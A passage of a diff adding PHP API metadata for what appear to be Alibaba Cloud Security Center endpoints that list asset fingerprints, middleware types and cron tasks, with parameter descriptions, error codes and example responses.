'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'PropertyItems' => [ + 'description' => '资产指纹聚合信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '资产指纹聚合信息。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '资产指纹聚合项对应的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '23', + ], + 'Path' => [ + 'description' => '启动项路径。'."\n" + .'> 仅**Biz**取值为**autorun**时返回。', + 'type' => 'string', + 'example' => 'C:/Program Files/****', + ], + 'ModuleName' => [ + 'description' => '模块名称。'."\n" + .'> 仅**Biz**取值为**lkm**时返回。', + 'type' => 'string', + 'example' => 'alihids', + ], + 'Domain' => [ + 'description' => '域名。'."\n" + .'> 仅**Biz**取值为**web_server**时返回。', + 'type' => 'string', + 'example' => 'localhost', + ], + 'MiddlewareName' => [ + 'description' => 'AI工具名称。', + 'type' => 'string', + 'example' => 'vllm', + ], + 'ModelName' => [ + 'description' => '大模型服务名称。', + 'type' => 'string', + 'example' => 'Deepseek', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"340D7FC4-D575-1661-8ACD-CFA7BE57****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 20\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"Count\\": 23,\\n \\"Path\\": \\"C:/Program Files/****\\",\\n \\"ModuleName\\": \\"alihids\\",\\n \\"Domain\\": \\"localhost\\",\\n \\"MiddlewareName\\": \\"vllm\\",\\n \\"ModelName\\": \\"Deepseek\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产指纹聚合列表', + ], + 'GetAssetsPropertyDetail' => [ + 'summary' => '查询资产指纹启动项、内核模块或者Web站点详情列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'Biz', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产指纹的类型，默认值为**sca**。取值：'."\n" + ."\n" + .'- **lkm**：内核模块'."\n" + .'- **autorun**：启动项'."\n" + .'- **web_server**：Web站点', + 'type' => 'string', + 'required' => true, + 'example' => 'lkm', + ], + ], + [ + 'name' => 'ItemName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产指纹的聚合项名称。'."\n" + .'> 调用[GetAssetsPropertyItem](~~GetAssetsPropertyItem~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'virtio', + ], + ], + [ + 'name' => 'SearchCriteriaList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定要资产指纹详情查询的条件集合。', + 'type' => 'array', + 'items' => [ + 'description' => '指定要资产指纹详情查询的条件详情。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '指定要查询的条件名称。取值如下：'."\n" + .'- **remarkItemName**：资产指纹聚合项名称，支持模糊匹配'."\n" + ."\n\n" + .'>- - **Biz**取值为**web_server**时，**remarkItemName**表示搜索条件为域名。'."\n" + .'>- - **Biz**取值为**lkm**时，**remarkItemName**表示搜索条件为模块名称。'."\n" + .'>- - **Biz**取值为**autorun**时，**remarkItemName**表示搜索条件为自启动项路径。', + 'type' => 'string', + 'required' => false, + 'example' => 'remarkItemName', + ], + 'Value' => [ + 'description' => '指定要查询的条件值。', + 'type' => 'string', + 'required' => false, + 'example' => 'virtio', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器名称或IP。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产的UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '38f72ea4-4c9f-4df1-bc6c-0f267614****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'UseNextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '是否使用NextToken方式拉取漏洞列表数据。如果使用此参数TotalCount不再返回。取值：'."\n" + ."\n" + .'- **true**：使用NextToken方式。'."\n" + .'- **false**：不使用NextToken方式。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '用来标记当前开始读取的位置，置空表示从头开始。'."\n" + ."\n" + .'> 第一次调用不用填写，会在返回结果中包含第二次调用时用的NextToken，之后每次调用返回结果中都有下一次调用时的NextToken。', + 'type' => 'string', + 'required' => false, + 'example' => '71640f04f6e7b49764c8d08ae170xxxx', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4C1AE3F3-18FA-4108-BBB9-AFA1A032****', + ], + 'PageInfo' => [ + 'description' => '分页查询时页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的资产指纹详情信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的资产指纹详情信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '23', + ], + 'Count' => [ + 'description' => '当前页面显示的资产指纹详情信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'AAAAAV3MpHK1AP0pfERHZN5pu6k+AtdhNE3kgQEK36GujZ5on+tWdc+4WoaoMP/kUNxxxx', + ], + ], + ], + 'Propertys' => [ + 'description' => '资产指纹详情集合。', + 'type' => 'array', + 'items' => [ + 'description' => '资产指纹详情。', + 'type' => 'object', + 'properties' => [ + 'ModuleName' => [ + 'title' => '内核模块:模块名称', + 'description' => '模块名称。'."\n" + .'> 仅**Biz**取值为**lkm**时返回。', + 'type' => 'string', + 'example' => 'alihids', + ], + 'Size' => [ + 'title' => '内核模块:大小', + 'description' => '内核模块大小。'."\n" + .'> 仅**Biz**取值为**lkm**时返回。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'Filepath' => [ + 'title' => '内核模块:路径', + 'description' => '内核模块文件路径。'."\n" + .'> 仅**Biz**取值为**lkm**时返回。', + 'type' => 'string', + 'example' => '/lib/modules/4****', + ], + 'UsedByCount' => [ + 'title' => '内核模块:被依赖数目', + 'description' => '内核模块被依赖数目。'."\n" + .'> 仅**Biz**取值为**lkm**时返回。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Path' => [ + 'title' => '启动项:路径 web站点:安装路径', + 'description' => '根据**Biz**取值不同表示不同含义：'."\n" + .'- **Biz**取值为**web_server**时，表示Web根路径'."\n" + .'- **Biz**取值为**autorun**时，表示启动项路径', + 'type' => 'string', + 'example' => '/lib/systemd/system****', + ], + 'ServerType' => [ + 'title' => 'web站点:站点类型', + 'description' => 'Web站点类型。'."\n" + .'> 仅**Biz**取值为**web_server**时返回。', + 'type' => 'string', + 'example' => 'nginx', + ], + 'Port' => [ + 'title' => 'web站点:监听端口', + 'description' => 'Web站点端口。'."\n" + .'> 仅**Biz**取值为**web_server**时返回。', + 'type' => 'string', + 'example' => '80', + ], + 'Pid' => [ + 'title' => 'Pid', + 'description' => 'Web站点进程Pid。'."\n" + .'> 仅**Biz**取值为**web_server**时返回。', + 'type' => 'string', + 'example' => '813', + ], + 'ListenProtocol' => [ + 'title' => '进程监听协议', + 'description' => 'Web站点进程监听协议。'."\n" + .'> 仅**Biz**取值为**web_server**时返回。', + 'type' => 'string', + 'example' => 'tcp', + ], + 'ProcessStarted' => [ + 'title' => '进程启动时间', + 'description' => 'Web站点进程启动时间戳，单位为毫秒。'."\n" + .'> 仅**Biz**取值为**web_server**时返回。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671186801000', + ], + 'WebPath' => [ + 'title' => 'web站点:web路径', + 'description' => 'Web站点Web路径。'."\n" + .'> 仅**Biz**取值为**web_server**时返回。', + 'type' => 'string', + 'example' => '/usr/share/nginx/html', + ], + 'Domain' => [ + 'title' => 'web站点:域名', + 'description' => 'Web站点域名。'."\n" + .'> 仅**Biz**取值为**web_server**时返回。', + 'type' => 'string', + 'example' => 'localhost', + ], + 'User' => [ + 'title' => 'web站点:操作用户', + 'description' => 'Web站点用户。'."\n" + .'> 仅**Biz**取值为**web_server**时返回。', + 'type' => 'string', + 'example' => 'root', + ], + 'PathMode' => [ + 'title' => 'web站点:目录权限', + 'description' => 'Web站点目录权限。'."\n" + .'> 仅**Biz**取值为**web_server**时返回。', + 'type' => 'string', + 'example' => '755', + ], + 'InstanceId' => [ + 'title' => '机器信息:实例id', + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-hp35tftuh52wbp1g****', + ], + 'IntranetIp' => [ + 'title' => '机器信息:私网ip', + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '100.104.XX.XX', + ], + 'InternetIp' => [ + 'title' => '机器信息:公网ip', + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '47.42.XX.XX', + ], + 'Ip' => [ + 'title' => '机器信息:机器ip', + 'description' => '服务器的IP。', + 'type' => 'string', + 'example' => '47.42.XX.XX', + ], + 'Uuid' => [ + 'title' => '机器信息:uuid', + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', + ], + 'InstanceName' => [ + 'title' => '机器信息:实例名称', + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'hc-host-****', + ], + 'RegionId' => [ + 'title' => '机器信息:地域id', + 'description' => '实例所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'CreateTimestamp' => [ + 'title' => '扫描时间戳', + 'description' => '资产指纹最新扫描时间戳，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649149566000', + ], + 'ImageName' => [ + 'title' => '镜像名称', + 'description' => '镜像名称。', + 'type' => 'string', + 'example' => 'registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller****', + ], + 'ContainerName' => [ + 'title' => '容器名称', + 'description' => '容器名称。', + 'type' => 'string', + 'example' => '5-rce_web_1', + ], + 'ModelName' => [ + 'description' => '大模型厂商名称。', + 'type' => 'string', + 'example' => '阿里云百炼', + ], + 'EndPoint' => [ + 'description' => '大模型服务请求接口地址。', + 'type' => 'string', + 'example' => 'dashscope.aliyuncs.com', + ], + 'File' => [ + 'description' => '请求大模型服务的文件路径。', + 'type' => 'string', + 'example' => '/root/llm.py', + ], + 'MiddlewareName' => [ + 'description' => 'AI工具名称。', + 'type' => 'string', + 'example' => 'vllm', + ], + 'MiddlewareVersion' => [ + 'description' => 'AI工具版本。', + 'type' => 'string', + 'example' => '1.0.1', + ], + 'InstallationPath' => [ + 'description' => 'AI工具安装路径。', + 'type' => 'string', + 'example' => '/etc/pip3/env/vllm', + ], + 'RepoName' => [ + 'title' => '镜像的RepoName', + 'description' => '镜像的RepoName', + 'type' => 'string', + 'example' => 'ACR-Example', + ], + 'RepoNamespace' => [ + 'title' => '镜像Repo命名空间', + 'description' => '镜像Repo命名空间', + 'type' => 'string', + 'example' => 'Default', + ], + 'Tag' => [ + 'title' => '标签', + 'description' => '标签', + 'type' => 'string', + 'example' => 'AI', + ], + 'ImageDigest' => [ + 'title' => '镜像Digest', + 'description' => '镜像Digest', + 'type' => 'string', + 'example' => 'ImageDigest', + ], + 'Agent' => [ + 'type' => 'string', + ], + 'SkillsName' => [ + 'type' => 'string', + ], + 'McpName' => [ + 'type' => 'string', + ], + 'Description' => [ + 'type' => 'string', + ], + 'TransportName' => [ + 'type' => 'string', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4C1AE3F3-18FA-4108-BBB9-AFA1A032****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 23,\\n \\"Count\\": 20,\\n \\"NextToken\\": \\"AAAAAV3MpHK1AP0pfERHZN5pu6k+AtdhNE3kgQEK36GujZ5on+tWdc+4WoaoMP/kUNxxxx\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"ModuleName\\": \\"alihids\\",\\n \\"Size\\": 10,\\n \\"Filepath\\": \\"/lib/modules/4****\\",\\n \\"UsedByCount\\": 0,\\n \\"Path\\": \\"/lib/systemd/system****\\",\\n \\"ServerType\\": \\"nginx\\",\\n \\"Port\\": \\"80\\",\\n \\"Pid\\": \\"813\\",\\n \\"ListenProtocol\\": \\"tcp\\",\\n \\"ProcessStarted\\": 1671186801000,\\n \\"WebPath\\": \\"/usr/share/nginx/html\\",\\n \\"Domain\\": \\"localhost\\",\\n \\"User\\": \\"root\\",\\n \\"PathMode\\": \\"755\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\",\\n \\"InternetIp\\": \\"47.42.XX.XX\\",\\n \\"Ip\\": \\"47.42.XX.XX\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"CreateTimestamp\\": 1649149566000,\\n \\"ImageName\\": \\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller****\\",\\n \\"ContainerName\\": \\"5-rce_web_1\\",\\n \\"ModelName\\": \\"阿里云百炼\\",\\n \\"EndPoint\\": \\"dashscope.aliyuncs.com\\",\\n \\"File\\": \\"/root/llm.py\\",\\n \\"MiddlewareName\\": \\"vllm\\",\\n \\"MiddlewareVersion\\": \\"1.0.1\\",\\n \\"InstallationPath\\": \\"/etc/pip3/env/vllm\\",\\n \\"RepoName\\": \\"ACR-Example\\",\\n \\"RepoNamespace\\": \\"Default\\",\\n \\"Tag\\": \\"AI\\",\\n \\"ImageDigest\\": \\"ImageDigest\\",\\n \\"Agent\\": \\"\\",\\n \\"SkillsName\\": \\"\\",\\n \\"McpName\\": \\"\\",\\n \\"Description\\": \\"\\",\\n \\"TransportName\\": \\"\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产指纹详情列表', + ], + 'DescribePropertyTypeScaItem' => [ + 'summary' => '查询资产指纹中间件类型列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B7A839E8-70AE-591D-8D9E-C5419A22****', + ], + 'PageInfo' => [ + 'description' => '页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的中间件类型信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的中间件类型信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '当前页面显示的中间件类型信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'PropertyTypeItems' => [ + 'description' => '返回的中间件类型集合。', + 'type' => 'array', + 'items' => [ + 'description' => '中间件类型信息详情。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '中间件的类型。取值： '."\n" + .'- **system_service**：系统服务'."\n" + .'- **software_library**：软件库'."\n" + .'- **docker_component**：容器组件'."\n" + .'- **database**：数据库'."\n" + .'- **web_container**：Web容器'."\n" + .'- **jar**：Jar包'."\n" + .'- **web_framework**：Web框架', + 'type' => 'string', + 'example' => 'docker_component', + ], + 'Name' => [ + 'description' => '中间件的类型名称。', + 'type' => 'string', + 'example' => 'Docker Component', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B7A839E8-70AE-591D-8D9E-C5419A22****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 20\\n },\\n \\"PropertyTypeItems\\": [\\n {\\n \\"Type\\": \\"docker_component\\",\\n \\"Name\\": \\"Docker Component\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产指纹中间件类型列表', + ], + 'DescribePropertyCronItem' => [ + 'summary' => '查询资产的计划任务列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'ForceFlush', + 'in' => 'query', + 'schema' => [ + 'description' => '设置是否强制刷新待查询数据。取值：'."\n" + .'- **true**：强制刷新'."\n" + .'- **false**：不强制刷新', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的任务路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/data', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '291B49F9-1685-4005-9D34-606B6F78****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的计划任务信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的计划任务信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + 'Count' => [ + 'description' => '当前页面显示的计划任务信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + ], + ], + 'PropertyItems' => [ + 'description' => '计划任务集合。', + 'type' => 'array', + 'items' => [ + 'description' => '计划任务的详细信息。', + 'type' => 'object', + 'properties' => [ + 'Source' => [ + 'description' => '计划任务的路径。', + 'type' => 'string', + 'example' => '/data', + ], + 'Count' => [ + 'description' => '计划任务对应的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '23', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"291B49F9-1685-4005-9D34-606B6F78****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 11,\\n \\"Count\\": 11\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"Source\\": \\"/data\\",\\n \\"Count\\": 23\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产的计划任务列表', + ], + 'DescribePropertyScaItem' => [ + 'summary' => '查询资产指纹调查中间件列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92158', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'ForceFlush', + 'in' => 'query', + 'schema' => [ + 'description' => '设置是否强制刷新待查询数据。取值：'."\n" + .'- **true**：强制刷新'."\n" + .'- **false**：不强制刷新', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'Biz', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产指纹的类型，默认值为**sca**。取值：'."\n" + ."\n" + .'- **sca**：中间件'."\n" + .'- **sca_database**：数据库'."\n" + .'- **sca_web**：Web服务'."\n" + ."\n" + .'> 不设置此参数时，默认取值为**sca**，表示查询中间件类型的资产指纹信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'sca', + ], + ], + [ + 'name' => 'SearchItem', + 'in' => 'query', + 'schema' => [ + 'description' => '设置查询条件的类型。取值：'."\n" + .'- **name**：中间件、数据库或Web服务的名称。'."\n" + .'- **type**：中间件、数据库或Web服务的类型。'."\n" + ."\n" + .'> **SearchItem**和**SearchInfo**这两个参数配合使用，通过同时设置这两个参数（设置一个无效），您可以按照资产指纹的名称或类型查看指定名称或类型资产指纹的所有数据。', + 'type' => 'string', + 'required' => false, + 'docRequired' => true, + 'example' => 'type', + ], + ], + [ + 'name' => 'SearchInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的内容。根据**SearchItem**取值的不同，您需要输入不同的查询内容：'."\n" + .'- **SearchItem**取值为**name**时，您需要输入的查询条件为资产指纹的名称。'."\n" + .'- **SearchItem**取值为**type**时，您需要选择要查询的资产指纹的类型。可选以下取值： '."\n" + .' - **system_service**：系统服务'."\n" + .' - **software_library**：软件库'."\n" + .' - **docker_component**：容器组件'."\n" + .' - **database**：数据库'."\n" + .' - **web_container**：Web容器'."\n" + .' - **jar**：Jar包'."\n" + .' - **web_framework**：Web框架 '."\n" + ."\n" + .'> **SearchItem**和**SearchInfo**这两个参数配合使用，通过同时设置这两个参数（设置一个无效），您可以按照资产指纹的名称或类型查看指定名称或类型资产指纹的所有数据。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'system_service', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3F4236AB-7070-538D-85EB-98EBFE6C****', + ], + 'PageInfo' => [ + 'description' => '页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的资产指纹调查中间件信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的资产指纹调查中间件信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '27', + ], + 'Count' => [ + 'description' => '当前页面显示的资产指纹调查中间件信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'PropertyItems' => [ + 'description' => '资产指纹调查中间件信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '资产指纹调查中间件信息详情。', + 'type' => 'object', + 'properties' => [ + 'TypeDisplay' => [ + 'description' => '中间件类型展示名称。', + 'type' => 'string', + 'example' => 'Docker Component', + ], + 'Name' => [ + 'description' => '中间件名称。', + 'type' => 'string', + 'example' => 'kubelet', + ], + 'Count' => [ + 'description' => '中间件对应的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '23', + ], + 'BizType' => [ + 'description' => '中间件、数据库或Web服务的类型。取值： '."\n" + .'- **system_service**：系统服务'."\n" + .'- **software_library**：软件库'."\n" + .'- **docker_component**：容器组件'."\n" + .'- **database**：数据库'."\n" + .'- **web_container**：Web容器'."\n" + .'- **jar**：Jar包'."\n" + .'- **web_framework**：Web框架', + 'type' => 'string', + 'example' => 'docker_component', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3F4236AB-7070-538D-85EB-98EBFE6C****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 27,\\n \\"Count\\": 20\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"TypeDisplay\\": \\"Docker Component\\",\\n 